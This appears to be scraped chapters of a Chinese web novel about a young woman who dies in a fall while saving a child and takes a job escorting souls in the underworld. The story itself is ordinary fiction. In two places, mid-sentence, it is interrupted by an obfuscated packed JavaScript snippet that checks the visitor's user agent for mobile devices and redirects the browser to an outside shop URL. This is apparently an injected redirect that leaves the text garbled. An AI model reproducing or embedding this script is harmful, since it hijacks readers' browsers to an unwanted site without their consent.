《编外小鬼转世录》 1. 我选择去地狱! “滴——” “滴——” 监护仪发出一声悠长的蜂鸣,那条起伏的绿色波浪形,终于拉成了一根悲伤的直线。 医生直起身,摘下口罩,看了一眼墙上的时钟,随后走出门外。转过脸,对着走廊尽头等候的几个人,缓缓摇了摇头。 “抢救无效,节哀。” 声音在冰冷的急诊科里来回碰撞,也伴随着张荔枝在世时几位亲朋好友的淅淅沥沥哭声与感叹。 “姑娘不过才二十六岁......她爸妈刚走一年,她好不容易熬了过来,为什么要把她也带走......” 张荔枝的父母在一年前出境旅行,所乘坐的国外航班意外失事,起飞后的半小时左右与塔台失去联系,消失在夜空中,自此杳无音讯,当救援队伍搜寻到飞机残骸时,失事者家属们崩溃绝望,这无疑成为了压死骆驼的最后一根稻草,张荔枝再也无需抱有幻想期待,被空虚吞噬了整一年,瞬间在这世上一无所有,了无牵挂。 如今的结局,怎么不算是另一种团圆呢? 三个小时前。 临近下班点,阳光寡淡,烟城信办科的张荔枝,斜跨背着一个帆布包,和同事一起,走进了锦里小区。 这是今天走访的第三户人家。 尽管心情很无奈,但面对群众时,依然是微笑天使,亲和力满满。 这是张荔枝干了三年的工作,小城市的合同制临时工,月薪三千,却做着比在编人员更多背锅的活。期间有无数次想要辞职,可考了两次编制都没能上岸,索性放弃了。 锦里小区位置属于城乡结合部,环境老旧复古,墙面贴满了疏通下水道、搬运等小广告,还未上门,便听到一阵嘈噪声,有哭的,有骂的,有劝的,乱成一锅粥。 荔枝与同事均微微皱起眉头,明白又是一桩麻烦。 门敞开着,厅内人头八九口,空气中一股浓重烟味,一中年男人见到荔枝等人,嘴角向下撇了撇。用近乎轻蔑的语气喊道:“呦!管事儿的终于舍得来了!” “你好,我们是来了解一下情况的。”同事平静道,张荔枝跟在其身后。 一个四十出头的农妇站了出来,头发乱蓬蓬地扎在脑后,“骗子!你们都是骗子!我往你们那跑了六趟!六趟!你们给我处理了吗?我家地被征了,补偿款拖多久了不发?我们现在还欠着饥荒还不上,我婆婆医药费,我儿子学费,你们给交吗!?” “大姐,补偿款的事一定会解决的,我们今天就是来了解问题以便帮你处理的。”同事冷静答复。 张荔枝是办公室里唯一一个编外人员,一向没有什么话语权,所以出外勤的时候,她不需要多做表达,只要服从组织管理,听话做事就好。其他的自有在编同事解决。 “什么时候解决?拖多久了?正好今天大家也都在,都是个见证!你今天就给我个结果!” “这......大姐,您先别激动,我们也要回去写报告,一级一级往上递交不是?” “呵?”女人惨笑了一下,立马转身跨步到阳台,丢掉拖鞋,赤着脚,站到阳台护栏的外沿。 那阳台是开放式的,没有封窗,护栏也只有一米二左右高度,身子一偏便会悬空,四楼,底下又是水泥地。 厅内人齐刷刷看向农妇。 “我今天说什么也要拿回我的钱!反正我现在的生活也是一滩烂泥,活着也没什么意思了,我今天要是出事了,就是被你们逼死的!”女人的声音嘶哑而犀利。 “你们这帮人天天办事拖拖拉拉!只会走形式根本不作为!我不管,今天我拿不到钱,咱们都别好过!” 张荔枝的心瞬间提到嗓子眼,能察觉到同事也变得紧张起来。只见同事悄悄往后退,摸出手机拨打了119和110。 人群里有人在劝诫女人,叫她别把事情闹大了。而女人的丈夫,那个中年男人却说,早就该闹了,不闹没人管。 就在这时,一直缩在沙发里,大约七八岁大的一个小男孩,忽然朝阳台跑过去。 “妈妈!你不要丢下我!你们不许欺负我妈妈!我要和妈妈在一起!” 孩子的声音尖细而惊恐,带着哭腔。他冲的很快,跌跌撞撞爬向护栏另一侧! 事情发生在一瞬间! 张荔枝离那个孩子最近,见小男孩不知情地爬上护栏,大脑来不及思考,本能反应立刻冲了过去,一把将孩子抱了下来,退后一步,离开栏杆边缘。 所有人倒吸一口凉气,而小男孩还在张荔枝的怀里挣扎着,哭喊着“妈妈”。 农妇显然是刚反应过来,瞳孔猛地收缩,母性本能在那一刻立马转为恐惧与后怕,猛然转身,动作之快翻过护栏,踉跄跨到张荔枝面前—— “你放开他!你别碰我孩子!显得你们了!” 女人一伸手,狠狠地推了一把。 而张荔枝重心本来就不稳,那一推来的又重又突然,导致整个人向后仰去! 那一米二的护栏,此刻在身高近170的张荔枝这里,没有起到防护作用。 张荔枝的眼睛在这一瞬间睁得很大。 看到了许多东西,阳台雨棚那盏坏了的灯,墙壁上斑驳的痕迹,楼上晾着的花床单,灰蒙蒙的天际线...... 在最后的零点几秒里,好像闪过了爸爸妈妈的身影...... 直到一声沉闷的巨响传来,血液缓缓淌开。 之后便是伴随着阵阵骚乱、嘈杂。 同事的惊慌,农妇瘫坐在阳台,中年男人冲向楼下,小区里星星点点人群围观。 当张荔枝再次意识回笼的时候,第一个感觉是——没有丝毫痛感。反而是一种奇异的轻盈。 眼前的景象让她愣住,只见自己站在一个岔路口处,两条路,一明一暗,看不见路的尽头。 “喂!小女鬼!愣着干嘛?” 怔愣间,张荔枝猛然抬头,眼前站着两位翩翩少年,一黑一白两种颜色长款制式风衣,对自己喊话的便是其中黑衣少年。他瞥了一眼眼前的女子,懒散地拿起手里的册子翻了几页,看着信息。 “这是哪里......”张荔枝茫然开口,声音有些发涩。 “阴阳交界处呀,张荔枝,女,意外坠楼,享年26,在世时履历也不错,放心,不会去地狱,可以选择直达天堂哦。”与刚刚黑衣少年的不羁语气相比,白衣少年颇懂礼数。 等等......地狱?天堂?我现在是......鬼? 张荔枝瞬间不知所措,就这么......死了么?想到这里彷佛要哭了出来,好不解气的一生。 但随即反应过来一件事,立刻问道,“我爸爸妈妈呢?我爸爸叫张孟,妈妈叫夏文艾,一年前他们因为飞机失事去世......” “意外事故导致身亡会参考我们的阴使,由他们递交的人间活动记录报告来看,张先生和夏女士无任何不良记录,堪称道德模范,自然去了天堂。” “并且分到了三室一厅哦,只要等待最佳时机选择投胎转世即可。”白衣少年补充道。 知道爸妈都去了天堂,算是欣慰,立马问道,“我现在去天堂,是不是就可以见到他们了?是不是可以转世后继续做他们的女儿?” “NONONO,转世的机制不是这样的呢,你会被分配到一个合适的家庭,但那个家庭是你父母的概率很小,除非你是会员,可以去投胎通道速通,只是,当下会员数量已满。” 张荔枝的天要塌了,在失去双亲的这一年里,自己咬牙度日,如今有机会可以在天堂团聚,结果下一世又要面临分别? “还有一个选项。” 黑衣少年一直靠在旁边,双手抱胸,淡漠道。 张荔枝抬起头。 “来地府。”黑衣少年说的很干脆。 白衣少年见状马上解释道,“地府所有的工作人员,都是生前为了某人或某事立功牺牲的,年龄在五十周岁以下者,都可以选择在地府就业,期满后,便可以优先选择下辈子想要的人生去投胎,你坠楼前,也算是救了个小朋友的性命,可以来地府一试,具体还要看领导怎么安排。” “也就是说,我如果去地府工作,下一世就可以继续选择我的父母,对不对?” “原则上是这样的,但是要提醒你,地府的工作可不简单哦,而且一旦决定就不能反悔。” “地府,我选去地府!” 张荔枝没有任何犹豫。 可一切,和预想中的不一样。 一黑一白的影子相互交错,引领着张荔枝来到了民间意义中的“地狱”。 眼前是一片无法形容的景象,暗红色的天幕低垂,流淌着乌黑压抑的云。脚下看不到边际,周身尽是似有若无般哀嚎声,空气中弥漫着血腥。 一支密密麻麻前进的队伍,大家像人偶般流动匍匐着。 张荔枝也茫然地向前走着,直到看见了一道中式牌坊,篆刻着四个大字——人杰地灵。 “大家听我说,前面这条路就是黄泉之路了,过去之后会看见黄泉公交站,公交到站之后有序乘坐,里面会提示大家分别都在哪一站下车,请各位前往。”白衣少年温和地陈述着。 又转头轻声对张荔枝说:“终点站就是地府,一会儿你也跟着去坐车,直达最后一站下车就好。” 不光是张荔枝不知所措,周围的人群早已开始躁动不堪。 “什么鬼地方?密室逃脱?!”“我不要在这里!我要出去!”“你们是谁?有病吧你们!” 乌泱泱的声音混乱一片,很多人四散开来,向着各个方向狂奔,试图在这无尽黑暗里寻找到出口。 现如今,地府也实行现代化建设管理,以前人亡故后入地府流程极为繁琐,一关一关地步行趟过,如今开设的黄泉公交车,交通方便,每一站都有相对应的恶鬼该去的地方,将罪行严格交代整理之后,再送去地府等待最终的审判与惩罚。 张荔枝麻木的随着人流向前移了几步,就在这时,见侧边有一处发光小洞口,如不是有人通过被发现,它一点都不起眼。 一位小阴差带着一只小鬼通过了发光洞口,那只小鬼进去之后跳向了一方纯净之湖。 不知人群中是谁喊了一声:“去那里!那里可以进天堂!” 于是病急乱投医,大家都疯狂奔向发光小洞。 洞口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482462|201827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离张荔枝最近,慌乱之中,群流涌进,张荔枝被这股外力纷纷碰撞,重心不稳的要跌向洞口边缘! 就在此时,一个墨黑般身影突然闪现在眼前!张荔枝结结实实地撞在此人身上,冰冷的触感与强大力量感,使得张荔枝被撞倒弹坐在地。 与此同时,本在荔枝身后的那群人争先恐后跑进洞口,纷纷如下饺子般一跃而下,可等待他们的不是纯净之湖,瞬间变成滚烫熔岩! 跳下去的那一刻无一不哀嚎呐喊!有在半空中被飞溅的岩浆烧至变形破相,有的落入池中即刻被融化分解! 张荔枝呆呆地看着这一切,如果不是眼前男子出现,自己一旦不小心掉了进去,必然也是这个后果。 而剩下的人看到前车之鉴,都惊恐地止住了脚步,抛开几个由于惯性而未来得及刹住脚步的,也这样掉落进去。 “路哥!”黑白两位少年轻快地走上前来恭敬地与男子打了声招呼。 只见这位男子,身形修长,五官棱角分明,配着慵懒的微分碎发,与黑白少年不同,此人未穿制式服装,一身暗色休闲衣服,脖颈处挂着一条方形黑曜石吊坠。从张荔枝的角度看到的是他突出的喉结与清晰的下颌线,说是漫画里的男大也不为过。 白衣少年开口道:“刚刚那人本就是要去天堂的,误入了地狱,这帮小鬼以为自己也能逃出去呢,蠢蠢的,又浪费了好些名额,唉,我和小范又要加班巡街了。” “还不是你,刚刚也没看住他们。”黑衣少年也抱怨道。 “没事,送走这批你们回去就好,等我和老周说一声,那几个就算罪孽深重自行解决了。”男子淡淡说道,随后转头看向张荔枝,眼神疏离中闪出一丝温度。 荔枝见状立马从地上爬起站了起来,刚才的情景让她直冒冷汗,以至于忘了对眼前男子表达感谢,不敢停留,只顾转身迈过牌坊,走向了黄泉之路。 “路哥,这只小女鬼死的还挺冤的,我看她在世时简历都很好,可惜了。” “命运吧。”男子冷冷道。 张荔枝同这些人,准确的说是鬼,一起走过了黄泉之路,依次排队乘坐黄泉公交,并找了一个偏后排位置坐下。 靠后上车的人都没有了座位,只得站立扶着栏杆或把手,车门将关之际,那名为“路哥”的男子也跳上了公交车。 一位跛脚年长老妇一瘸一拐的在公交上费力穿梭,仿佛一碰便会散架,靠近荔枝时,荔枝下意识地起身把座位让给了她。 白衣少年说得对,车辆每到达一站,会语音播放点名谁该下车。 “恶魔谷站已到达,乘客于花英请下车。” 语音重复播放了三遍,依旧无人下车,大家互不认识,所以并没有人会知道谁是“于花英”。 就在此时,“路哥”抬眼,轻皱了一下眉头,抬起胳膊,对着刚刚那位被荔枝让座位的老妇轻轻一挥,一道无形的暗黑光晕围绕老妇,像股强风般,将老妇推向车门方向,可见她就是于花英。 于花英不受控制的被迫跌向车门,用仅存的力量死命抓住车门旁栏杆,嘴里不停地喊着“救命!救救我!” 现场无人敢上前,而张荔枝惊慌地看着于花英的眼神被于花英迅速捕捉到,于是立即对其大喊:“姑娘!求求你!救我!救救我!” 凄厉的哀求,声声灌入荔枝的耳畔,望着于花英无法掌控的跛脚在车门外凌乱,这种无助感终究是刺痛了荔枝,出于本能的向前,张荔枝冰凉的手,紧紧抓住了于花英颤抖的手臂! 就在这一刹那—— 那双漠然的双眸,眼底瞬间闪过一丝凌厉的光,“路哥”不紧不慢地走到二人身边,伸出血管清晰而修长的手,轻微打了个响指,便引起一阵冲击力,致使荔枝瞬间失去了力气一般,松开了于花英的手臂。 “啊!”于花英就这样被黑暗吞噬,消失在车门外,车门瞬间自动紧闭。 荔枝扶着栏杆大口喘息着,转头带着一丝诧异,看向这个“始作俑者”。 “多管闲事。”男子开口道。 “可是她......”荔枝眼底微微泛红,想要解释着什么。 “于花英,生前拐卖了17个儿童,是死刑犯。” 张荔枝听后怔愣住,明明看起来佝偻不堪的跛足老者,竟是如此不堪之人。 “还可怜?”男子说完后嘴角轻挑。 留张荔枝呆在原地,仿佛在告诉自己刚刚的救人之举有多愚蠢,能入地狱的人,又怎会无辜。 有了于花英的案例,之后的“乘客们”都老老实实的认命下车,公交始到终点站时,也只剩张荔枝自己了。 以及一路都在的这位男子。 张荔枝默默地走下了车。 怀着对未知环境的恐惧,张荔枝干脆主动开口询问一路随行的男子:“我能知道,你是谁吗?” “路期。” “我指的......不是名字。” “你现在是鬼,我是押鬼的,就这么简单。” “......” 什么嘛......我明明是来找工作的!张荔枝暗自在内心较劲道,这人讲话也太不中听了。 4. 八十一难第一难(上) 第二日换上了新裙子,梳洗干净后没来得及去吃早饭,于是直接跑去了工作现场。 由于是荔枝上班第一天,比较专业的工作还不能做,只能被安排到黄泉之路执勤学习,也是荔枝的来时路,负责接待指引往来的小鬼,并监管他们乘坐黄泉公交。 “以后我们就是同事啦!我叫谢平安,他叫范明天,我们是负责将亡魂带到地府报道的。”白衣少年热情介绍着。 “你们俩看起来年纪不大哎,大学生?” “是比荔枝姐姐小了几岁,但要论工作年限,我们可比路哥久多了。” 紧接着,另外两个少年也凑了过来。 唐木和戒睿,听起来像动画片似的。一个日游神一个夜游神,监察阴使,负责游走在人间观察记录人类的行为。 唐木看起来眼神灵气,精神头十足;而戒睿相对来说内敛很多,一个话少的秀气小和尚形象,二人都很年轻,和谢平安范明天看起来差不多年纪。 “张荔枝!我是唐木,恭喜你加入我们的执勤阵营啊!以后咱五个把日子过好比什么都强!”唐木自来熟说道。 “我是戒睿......欢......欢迎!”戒睿讲话伴随一点结巴,所以他一向很少讲话,二人汇报工作总结都是唐木代劳。 “前辈弟们,多多指教。” “你是不是还没有灵器?那平时有事怎么联系我们?”唐木突然想到。 “灵器?”荔枝不解。 “就是我们大家修炼灵力的法宝,我的是这把短剑,必要时它会变长,戒睿的灵器是他手上那串佛珠,平安和明天则是他们腰间那一黑一白锁链;平时我们大家互相联系对方时靠它来感应召唤,出门消费时也是扫一下它就好,功德金就会自动扣除。” “灵器里是有灵力的,当你消耗灵力的时候,灵器颜色也会随之变浅,透明状就是里面灵力耗尽,无法使用了,不过没关系,缓两天它还会恢复回来。” 听着唐木娓娓道来,荔枝瞬间想到了路期的那条黑曜石项链和黎想头上的和田玉发簪,想必也是他们的灵器了。 “好厉害啊!”荔枝赞叹。 “你别急,我想你过了实习期也会有的。”谢平安安慰道。 “你下班的时候可以等我们一起去吃饭!食堂有隐藏款套餐,够四位团购有优惠!这回加上你正好,别人都不知道呢,日积月累下来能省不少功德金呢!”唐木又说道。而范明天淡淡地对唐木吐槽了句:就你话多。 “加上我难道不是五位吗?” “戒睿不算,他吃素。” “这样啊,唐木你好厉害,懂的好多啊!” “那是,我不光知道这些,我还知道老贾的口头禅是‘按照惯例来讲......’,还有路哥的口头禅是‘无组织无纪律!’,哎呀我给你学一下!” 唐木刚要起范准备生动演绎,就被戒睿打断。 “任......任务。” 唐木攥紧短剑,感应到了贾局长安排的任务通知。 “那我俩先撤了,再联系!开工大吉啊张荔枝!” 于是二人瞬间从眼前消失了。 “唐木话痨,戒睿话少,荔枝姐姐,等你时间久了就会习惯了。”谢平安说道。 “很可爱啊,性格还互补,就像你俩似的,你暖洋洋的,他冷冰冰的。” “嘿嘿,也是。”谢平安微笑。 而范明天对于“冷冰冰”的有所指,直接冷哼一句,傲娇的转身走开。 张荔枝回到“人杰地灵”牌坊下,开始耐心地指引着初到地狱的小鬼们。 “喂!小姑娘!”一个操着浓重的口音,脑袋上方还在滋滋冒血散发着黑气的大爷鬼走了过来,令张荔枝惶恐了一秒,但马上恢复表情管理。 “俺该去哪啊?有个小伙让俺来这,说看见牌子照着指引走,可俺不认字啊。” 张荔枝指了指前方的黄泉之路,“叔,您就沿着这条路一直走,会看见一个公交站,在那等着就行,一会儿人差不多齐了我也会过去和你们一起坐车。” “好嘞好嘞,谢谢了。” “姐姐,可以给我一杯热水吗,我肚子疼。”一个面无血色的少女鬼颤巍巍的对荔枝哀求道。 荔枝打眼一看就知道原因,必是例假引起,看了看四周,只能去临时岗亭那边取水。 “好,你等我一下。” 岗亭里,只剩范明天在,他正冲着挂耳咖啡,见张荔枝进来后翻箱倒柜,接着目光紧盯自己手里的热水壶。 “你干嘛?” “小黑,你有一次性纸杯吗?”一时之间没有叫得出范明天的名字,于是下意识根据颜色脱口而出了个临时称呼。 “小?......呵!” 范明天皱着眉头冷哼一声,显然是不满这个称呼,但还是从自己的双肩包里取出了一个纸杯递给荔枝。 “谢谢!”张荔枝接过纸杯便拿起热水壶,停顿了一下。 “或许,有红糖吗?” “你......不会是......”范明天眼神里闪过一丝轻微的慌乱。 “不是我!算了,就这样吧!” 张荔枝倒完水后迅速离开了。 但当范明天出了岗亭,看见张荔枝把水拿给少女鬼的时候,不禁暗自吐槽“多管闲事”,瘪了瘪嘴无语着。 “请大家按照指引前行......” “到了车站请有序排队,不要插队......” 张荔枝感觉自己像个复读机,几句话重复来重复去,来自四面八方的小鬼,问路、抱怨、哭泣找东西,还有纯粹孤独想来唠嗑的,这一会儿嗓子都要沙哑了。 唐木和戒睿回来时递给张荔枝一份花名册,里面记载了这一批入地狱的小鬼们身份信息,以便对照人数。后二人匆匆离开。 瞥见一对中年男女正往自己所在的方向走来,行为有些古怪,男人浑身布满了血点子,接近心脏处有一处刀伤,想必生前与人激烈打斗过,眼神四处警惕地搜寻张望着;女人身上却干干净净的,与其他鬼的凌乱完全不同,但神色慌张,紧紧挨着男人,二人快步小走。 由于走得很急,加上女子心绪不宁,脚下一绊,惊呼一声,整个人向前踉跄扑去。 此时张荔枝离得很近了,见状下意识一个箭步上前,伸手扶住了女人的胳膊。“小心!” 女人惊魂未定的抬头看了荔枝一眼,眼底闪过一丝慌乱,未开口道谢,反而旁边的男人反应极大,猛地一把将女人从荔枝手中拽了回来,力道之大。 脸上挤出僵硬的表情,拉着女人就要检查有没有摔伤。 女人尴尬地颤声说道:“汉阳,不打紧,不打紧的。”又对荔枝道:“妹妹,谢谢你。” “没关系的。” 说不上哪里有问题,荔枝又因好奇多问了一句“你们叫什么名字?”问出姓名就可以从花名册里找到相对应的简历了。 怎料男人更加敏感,拉着女人便要快步走开。 “请等一下,你们不要紧张,我是工作人员,不会伤害你们的。” “厉汉阳。”男人缓了语气道。 张荔枝低头翻了一下花名册,这一翻可了不得。 厉汉阳,男,37岁。 死因:自杀。 入地狱原因:杀人、畏罪自杀。 张荔枝心里“咯噔”一下,怪不得他衣服上遍布血迹,原来是杀了人后又选择了自杀,这两项加一起无疑是重罪。 想起刚刚自己说的不会伤害他们话,瞬间觉得自己不自量力,他不伤害自己就万幸了。 “那你呢?你叫什么名字?”荔枝把目光转向了女人。 “我们是夫妻,一起的。” “请你说一下自己的名字吧。” “不用了吧......” 女人瞥向旁边的男人,厉汉阳接收到眼神信息立马拉起女人飞快跑了起来! “喂!站住!” 荔枝知道自己可能拦不住他们,于是立刻扫视周围,朝着范明天的方向喊道:“小黑!帮我拦一下他们!” “别叫我小黑!” 张荔枝挥手示意抱歉,范明天立刻身形一闪!稳稳地挡住了厉汉阳夫妇的去路,站在了二人面前。 此时荔枝大口喘气地追了上来。 “你们跑什么呀?这地方能跑到哪去?一会儿还不是我陪你们去坐车。” “厉汉阳,周芳草。”范明天面无表情地说出了二人的名字。 “你认识啊?”荔枝问。 “废话,我和谢平安押来的,但是她,应该去天堂,不应该在这里。” 范明天指的是女人,周芳草。 荔枝马上翻看花名册,的确是没有周芳草的名字。 “周芳草,啊不,芳草姐,天堂有路你不走,来地狱凑什么热闹?” “我要和汉阳在一起。” “啊?” 张荔枝看着周芳草紧紧地箍紧厉汉阳的胳膊,生怕二人被分开。 “不是,这......大哥他进地狱是有他的原因,你这会儿就别恋爱脑了,该去哪就要去哪,我想......大哥他也不会逼你的,对吧?” “我不去,除非汉阳和我一起去天堂。” “......” 厉汉阳一直沉默不语,而范明天则一脸的不耐烦。 “他杀人了,是杀人犯。” 周芳草听范明天这么说瞬间激动辩解道:“不是!汉阳不是!他都是为了我!他不该!” “我看他挺该的。”范明天依旧冷冷道。 张荔枝见状立即轻怼了一下范明天胳膊,意识让他不要再在雷区发言了。 张荔枝范明天二人转过身背对着厉汉阳夫妇,张荔枝小声问道:“小黑,这种情况,你说怎么办?” “麻烦。” 只见范明天一只手握住腰间的锁链饰品,微闭双眼3秒,锁链闪过一缕奇光,紧接着得到感应后的谢平安立刻出现在了二人面前。 “我的天哪!”荔枝见状惊呼。 “问他。”范明天依旧惜字如金。 “荔枝姐姐,遇到难处了吗?”谢平安依旧礼貌绅士。 张荔枝赶紧简单地表述了一下当前问题。 “这样啊,很简单,让他们正常上车就好,厉汉阳有罪,到站不下也得下,至于周芳草嘛,你陪她直达地府就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482465|201827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,让老贾处理,到时候老贾发个通知,我们再按照命令把她送去天堂。” “原来如此,我知道了。谢谢平安!” “等等,他为什么不是小白?” 一旁原本安静的范明天突然问道。 “我知道他的名字啊。” “......” 范明天当即翻了个白眼,所以只记不住我的名字?这个小女鬼,更讨厌了! 在黄泉公交站按照花名册查好了人数。 荔枝是最后上车的,站在下车口栏杆位置,之前因为恐惧没有仔细观察过车的内部结构,如今所在位置不一样了,才发现原来车内空间如此之大,可容纳百人之上。 车辆正常的行驶着,依旧是每到一站播报名字下车,将要到达恶魔谷站时,荔枝脑海里不禁想起了同班车次的那位老妇于花英,以她的罪行,现在应该进了炼狱至少第九层了。 “恶魔谷站已到达,乘客葛东方请下车。” 语音播报后,名叫葛东方的中年男鬼眼神阴郁的走下车去。 可没成想,一声低吼打破了车里的死寂。 “葛东方!” 是厉汉阳!他双目赤红,脸上挤满了仇恨,像一头挣脱牢笼的野兽,不管不顾地撞开身前的鬼群,猛地追随葛东方冲下了车! “汉阳啊!”周芳草,那个有点怯懦的女人发出凄厉的呼喊,不成想也跟着跳下了车去。 一切发生的太快! “喂!站住!周芳草!”张荔枝反应过来,在车门口大喊,但那三道身影已消失在昏暗之中。 张荔枝咬咬牙,没有犹豫也跳了下车,厉汉阳是死是活荔枝不在乎,但周芳草是要去天堂的人,她不该出现什么意外! 脚下一软,原来恶魔谷的地面如此潮湿粘稠,布满苔藓,空气中充斥着铁锈般腥气,除了几座山谷相连,四周处处悬空,只有一条前进方向的路,由不规则的石块平台组成的。 深一脚浅一脚地追了过去,生怕一个不小心滑倒滚入周围的悬空处,内心不禁替周芳草捏了一把冷汗。 终于在恶魔谷的门洞边缘,看到了三人身影。 眼前的景象让张荔枝心头一紧。 厉汉阳如疯魔般,将先下车的葛东方死死按在潮湿的地上,一拳不落一拳打在他的脸上。 “王八蛋!你还敢出现在我面前!死了我也要让你再死一次!!” 葛东方一时不得反抗,痛苦哀嚎,身上被一拳一拳地打出了黑色的不详雾气。 周芳草在一旁浑身发抖,泣不成声。 “汉阳!别打了!汉阳......” 荔枝不管别人,径直跑过去拉住周芳草想要把她拖离这里。 “快走!跟我离开这里!” “我不!我不能走!” 周芳草挣扎开来,泪眼婆娑地看着暴怒的厉汉阳不肯离开。 就在这时,发生反转!葛东方怨气加深,瞬间周身黑气暴涨,发出嚎叫,一股巨大力量迸发!竟将压在他身上的厉汉阳反压开来,用力挥了三拳,后提起对方脖颈处,重重撞在岩壁上!厉汉阳头部磕在坚硬不平的石壁上,瞬间昏厥!瘫倒在原地。 “啊!!”周芳草惊恐地尖叫着,跑向了躺在地上的厉汉阳。 葛东方眼中闪烁着暴戾的红光,面部表情贪婪扭曲,声音刺耳。 “无能的狗皮膏药,”随即又目光变为饥渴野蛮般看着周芳草,“哈哈哈哈,看来咱俩的缘分很深啊,很好,下地狱也一起快活快活吧!别忘了,咱俩可是有过......嘿嘿。” 葛东方对周芳草令人作呕的恶意,让荔枝顿感不妙。 果不其然,葛东方逼近了颤抖哭泣的女人,一只手掐住了她的脖子,另一只手将要撕碎女人的衣领。 张荔枝见状想也没想冲了过去,试图用力撞开葛东方。 但葛东方巨大的阴力只是随意一拨,便把张荔枝甩了出去。 依旧是狠狠地掐紧周芳草,嘴里并污言秽语攻击着。 “放开她......” 此时地上的厉汉阳挣扎着爬起来,看着周芳草痛苦的模样,眼底闪过决绝,猛地发出一声咆哮,用尽全部力气,奔向葛东方,死死抱住他的腰,带着他一起冲向山谷无尽黑暗边缘! “畜生!一起死吧!” “汉阳——不要!!”周芳草撕心裂肺的哀叫。 张荔枝见厉汉阳紧紧勒住葛东方,将要冲向深渊边缘一跃而跳,于是奋力爬起上前,伸手想要抓住厉汉阳衣衫! 突然此时!一个修长的身影出现,黑曜石闪出熠光,带着一股不容置疑的力量,充斥在几人周围! 同时,一只骨节分明的手,稳稳地抓住了荔枝的胳膊,将荔枝向前探出的身体向后一带。 另一只手对着深渊边缘的葛厉二人用力一挥,发出无形磅礴的灵力,力量的巨浪将二人纷纷从边缘拉回并拍倒在地。 葛东方口吐污血,怒气值拉满低吼道:“MD!你又是谁!” “察查司,路期。” 路期面容冷峻,对着眼前景象又冷冷吐出二字:“荒唐。” 转头看向荔枝,“还有你,无组织无纪律。” 6. “励志父亲”(上) 厉汉阳夫妻的事情结束之时,贾亭西让黎想给张荔枝奖励了一千功德金,算是一个入门鼓励,虽然不多,但这对荔枝来说绝对是雪中送炭,终于可以去采购点自己喜欢的物品了。 “原来挣钱也没有很难嘛!”荔枝觉得这几天自己也没有出什么力,但竟然也拿到了提成。 “难的是挣大钱好嘛!”唐木磕着瓜子说道。 送走了周芳草,荔枝才知道第一天自己来的时候,看到的那个小洞口,纯净之湖,用来将被冤枉的人送至天堂的入口,但如果是恶鬼误入,便会瞬间变成滚烫熔岩。 周芳草就是通过纯净之湖去往了天堂。 一想到这里就不得不感谢一下当初路期的无心之举,要不是路期的出现拦截,自己哪还有现在的生活体验。 只是她不知道,那日的路期,其实并不是平白无故地出现在她面前。 “走,带你去熟悉一下档案馆,别以后让你找个资料都找不到。”路期一来,唐木立即收起了瓜子。 “噢。”荔枝听话应和。 地府档案馆。 高耸至穹顶的书架,层层盘旋;书架上密密麻麻排列着的,并非是寻常书籍,一卷卷散发着微光的卷轴;还有流动的的影像与文字光团。更像是一个高科技感图书室。 “这里收录着所有经过审判的案卷,还有辖区内人员的前世今生记录,每一排前面都有检索,以后你要学会整理案卷及时归档。” “哇!好神奇啊!这里还可以看到人的阳寿对不对?我不能来这工作吗?”荔枝满眼好奇地看着眼前的一切。 “无所谓啊,如果你不在乎转世的话。”路期瞥了她一眼。 荔枝吐了吐舌头,眼里迅速扫视着一排资料,有一本大明星赵XX的前世今生甚为吸睛。 “路期!你看!赵XX上辈子是GAY哎!怪不得这辈子也不直哎。”荔枝激动的想要和路期分享八卦,但路期不予理会,如果换成唐木,效果绝对就不一样了。 “路期,你们来了。” 一道月白色身影出现,从容优雅,声线温柔。正是食堂上偶遇的那位记录员男子。 他清雅的书生气像一幅淡墨画卷,直击荔枝的灵魂深处。 荔枝呆愣住两秒,身子一酥,激动之余手上无力,手里的册子一滑,本本掉落在地。 荔枝忙蹲下身子手忙脚乱去捡,结果低身时胳膊肘又碰撞到旁边的书架。“哗啦”一声,书架顶部的几本书籍顿时又稀里哗啦地掉了下来! 白色身影快步向前,动作迅捷而优雅,精准接住了将要掉在荔枝脑袋上的两本书籍。 但还是有一本硬壳的、看起来极有分量的册子,绕过了他拦截的范围,“啪”的一声,不偏不倚,砸在了荔枝脑袋上。 荔枝只顾抬头看着眼前的男子,丝毫忘记了被册子砸到这回事。 “你没事吧?” “啊?啊!没事没事!”直到男子开口,荔枝才回过神来,也后知后觉地感受到被册子砸到的余痛了,想要捂脑袋的手又尴尬地放下,毕竟自己刚嘴硬了。 “你是荔枝对吧?你好,我是阴律司,张染。” “对......我是我是,你姓张,我也姓张,咱俩都姓张哎,好巧,呵呵呵。” “你初来乍到,有找不到的案卷告诉我就好,我帮你。 “好呀,我一定会问你,你是什么星座啊?我天秤,很百搭,嘿嘿...” “那好巧,我也是,不过,你脑袋真的没事吗?”张染指了指太阳穴的位置。 “好像......是有一点点痛了......”荔枝的太阳穴处被册子的边角蹭的有些破皮红肿。 但荔枝的视线又落在了张染食指的钢制黑珐琅戒指上。 此时路期略带关切但依旧冷掉冰渣的声音突兀插入。 “伤哪了?”路期的眼神在荔枝太阳穴处停留了一瞬。 “笨死算了。” 